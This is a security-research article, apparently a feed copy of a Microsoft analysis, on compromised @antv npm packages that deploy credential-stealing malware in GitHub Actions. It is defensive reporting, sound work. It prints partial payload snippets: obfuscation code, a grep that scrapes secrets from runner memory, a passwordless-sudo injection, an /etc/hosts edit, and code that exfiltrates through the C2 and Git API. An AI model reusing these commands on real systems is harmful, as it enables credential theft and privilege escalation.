Back to Feed
Supply ChainMay 20, 2026

Mini Shai Hulud: Compromised @antv npm packages enable CI/CD credential theft

Compromised @antv npm packages deploy Mini Shai-Hulud malware to steal CI/CD credentials from Linux environments.

Summary

Microsoft Security researchers identified an active supply chain attack targeting the @antv npm package ecosystem after threat actors compromised a maintainer account and published malicious versions of widely used data visualization packages including echarts-for-react (1M+ weekly downloads). The ~499 KB obfuscated JavaScript payload executes during npm install and steals credentials from GitHub Actions, AWS, Kubernetes, Vault, npm, and 1Password across CI/CD pipelines. The attack employs multi-layer obfuscation (Base64 + custom PBKDF2/SHA-256 encryption), environment gating to target GitHub Actions on Linux, and dual-channel data exfiltration while forging SLSA provenance to evade detection.

Full text

Share Link copied to clipboard! Tags Linux Content types Research Products and services Microsoft Defender Topics Actionable threat insightsDefending against advanced tactics Microsoft has identified an active supply chain attack targeting the @antv node package manager (npm) package ecosystem. A threat actor compromised an @antv maintainer account and published malicious versions of widely used data-visualization packages, resulting in cascading downstream impact. The compromise propagated through dependency chains into libraries like echarts-for-react (which has more than 1 million weekly downloads), expanding the blast radius into CI/CD pipelines and cloud workloads across the ecosystem. The malicious payload—a ~499 KB obfuscated JavaScript file—runs silently during npm install and is purpose-built to steal credentials from GitHub Actions environments. Key capabilities observed in the payload include multi-platform credential theft (GitHub, Amazon Web Services, HashiCorp Vault, npm, Kubernetes, 1Password), GitHub Action Runner process memory scraping, privilege escalation, dual-channel data exfiltration, and Supply chain Levels for Software Artifacts (SLSA) provenance forgery. These capabilities suggest a deliberate effort to evade analysis and an apparent focus on CI/CD environments. The authors of the antv account have also since confirmed in a ticket on the repo that the situation is now resolved. Attack chain overview Figure 1. @antv npm supply chain attack flow. The @antv organization maintains charting libraries (G2, G6) embedded across dashboards and applications. The attack proceeds through: Maintainer account compromise and publication of malicious @antv package versions Downstream dependency amplification (echarts-for-react, size-sensor, and others) Automatic payload execution through a preinstall hook during npm install Execution chain: node → shell → bun → payload (Bun runtime installed if absent) Technical analysis The payload replaces the legitimate index.js with a single-line obfuscated script. Obfuscation Layer 1: 1,732 Base64-encoded strings in a rotated array, decoded through lookup function with the shuffle key 0xa31de Layer 2: Critical strings such as command-and-control (C2) domain and env var names are encrypted with a custom PBKDF2 and SHA-256 cipher, which is decrypted at runtime. Environment gating: The payload exits immediately if it’s not running on GitHub Actions on Linux Branch avoidance: Skips the main, master, dependabot/, renovate/, and gh-pages when using Git API exfiltration // Layer 1: 1,732 strings in rotated array with base64 decode (function(_0x44be0e, _0x3ff020){ // Array shuffle IIFE with key 0xa31de _0x335af4['push'](_0x335af4['shift']()); })(_0x71ec, 0xa31de)); // Layer 2: PBKDF2+SHA256 runtime decryption for critical strings var e6 = "a8269c01069452afb8a54de904e6419578d155fdbdb9e566bab8576a4266b61e"; var t6 = "7f44e4ba6f6a71bd0f789e7f83bd3104"; var u5 = new du(e6, t6); // PBKDF2 cipher instance globalThis["f2959c600"] = function(s) { return u5.decode(s); }; // Environment gate - exits if not GitHub Actions on Linux this['isGitHubActions'] = process.env[f2959c600('68zz23c6NGR9...')] === 'true'; this['isLinuxRunner'] = process.env[f2959c600('NhUrwwYEwYIJ...')] === 'Linux'; Credential theft The payload targets secrets across six platforms: GitHub: Extracts GITHUB_TOKEN, scans for Personal Access Tokens (gh[op]_) and installation tokens (ghs_), validates through /user API, and enumerates repo and org secrets. Amazon Web Services(AWS): Queries Instance Metadata Service (169.254.169[.]254), Elastic Container Service metadata (169.254.170[.]2), reads .aws/ files, harvests env vars, and then calls SecretsManager across all regions. HashiCorp Vault: Searches 12+ token paths (/var/run/secrets/vault/token, ~/.vault-token, and others) and connects to a local Vault at 127.0.0[.]1:8200. npm: Validates tokens using /-/whoami, exchanges OpenID Connect (OIDC) tokens for publish access, and enumerates packages Kubernetes: Reads service account tokens and enumerates namespace secrets 1Password: Interacts with command-line interface (CLI) and attempts master password extraction with two-factor authentication (2FA) bypass // AWS Secrets Manager enumeration 'secretsmanager:ListSecrets' 'secretsmanager:GetSecretValue(' // Vault token paths searched (12+ locations) '/var/run/secrets/vault/token' '/.vault-token' '/home/runner/.vault-token' '/root/.vault-token' '/etc/vault/token' // GitHub API secret enumeration '/actions/secrets?per_page=100' '/actions/organization-secrets?per_page=100' Runner memory scraping The payload locates the GitHub Actions Runner.Worker PID using /proc scanning, then extracts runtime secrets using the following: // Locates Runner.Worker PID via /proc 'findRunnerWorkerPIDLinux' // Scans /proc//cmdline for "Runner.Worker" // Extracts secrets from process memory tr -d '\0' | grep -aoE '"[^"]+":{"value":"[^"]*","isSecret":true}' | sort -u This activity bypasses normal secret masking by reading secrets directly from runner process memory. Privilege escalation Injects sudoers rule through bind mount: echo ‘runner ALL=(ALL) NOPASSWD:ALL’ > /mnt/runner Modifies /etc/hosts for DNS redirection // Injects passwordless sudo via /etc/sudoers.d bind mount at /mnt echo 'runner ALL=(ALL) NOPASSWD:ALL' > && chmod 0440 /mnt/runner // DNS manipulation sudo sh -c "echo '127.0.0.1 ' >> /etc/hosts" // Validates sudo access before operations sudo -n true Exfiltration Dual-channel exfiltration: Primary: HTTPS to encrypted C2 domain (port 443) with DNS pre-check and health probe Fallback: Git Data API — Creates blobs, trees, or commits in victim repositories on non-protected branches Tertiary: Creates public repos under victim accounts with reversed description (“niagA oG eW ereH :duluH-iahS”); more than 2,200 of these repos have been observed as of this writing // Primary: HTTPS C2 with encrypted domain (port 443) let config = { 'domain': f2959c600('bXVunP4+izfR/cOx8zhW/fw8v6xFc4cvjYgGdbEE'), 'port': 0x1bb, // 443 'path': f2959c600('5WA4NOQUD/n/mNx/cqL4gSVQrTrwV+RBKO7TXeTIk3fFBUt+2arGDjc='), 'dry_run': false }; // Fallback: Git Data API - creates blobs/trees/commits in victim repos await j(token, '/repos/' + owner + '/' + repo + '/git/blobs', {'method': 'POST', 'body': JSON.stringify(stolen_data)}); '/git/trees' '/git/commits' // Branch filter - avoids protected branches to evade detection Dw = ['dependabot/', 'renovate/', 'gh-pages', 'docs/', 'copilot/', 'master', 'main']; Propagation and persistence Enumerates /user/repos and /user/orgs to spread into additional repositories Installs Bun runtime, executes second-stage payload using bun run .claude/ Deploys token monitor for ongoing credential capture Forges SLSA provenance attestations through Sigstore (Fulcio or Rekor) to appear legitimate Impact and blast radius Direct compromise of @antv packages with broad ecosystem adoption Amplification through downstream dependencies into thousands of projects Cascading risk: stolen npm tokens enable further package poisoning, stolen GitHub tokens enable repo manipulation, and stolen AWS credentials enable cloud access SLSA provenance forgery erodes trust in supply chain attestation frameworks How GitHub took action to prevent further harm Upon learning of the attack, GitHub acted immediately to limit further damage. It removed 640 malicious packages and invalidated 61,274 npm granular access tokens with write permissions and 2FA bypass, preventing leaked tokens from being used in this or similar attacks. GitHub also published advisories relevant to this malware campaign in the GitHub Advisory Database and alerted the community through Dependabot alerts and npm audit. It continues to monitor for additional affected packages and remove them as needed. Mitigation and protection guidance Microsoft recommends the following mitigations to reduce the impact of this threat: Review dependency trees for direct or transitive usage of affected @

Indicators of Compromise

  • malware — Mini Shai-Hulud
  • ip — 169.254.169.254
  • ip — 169.254.170.2

Entities

@antv npm organization (technology)echarts-for-react (product)G2 (product)G6 (product)size-sensor (product)Microsoft (vendor)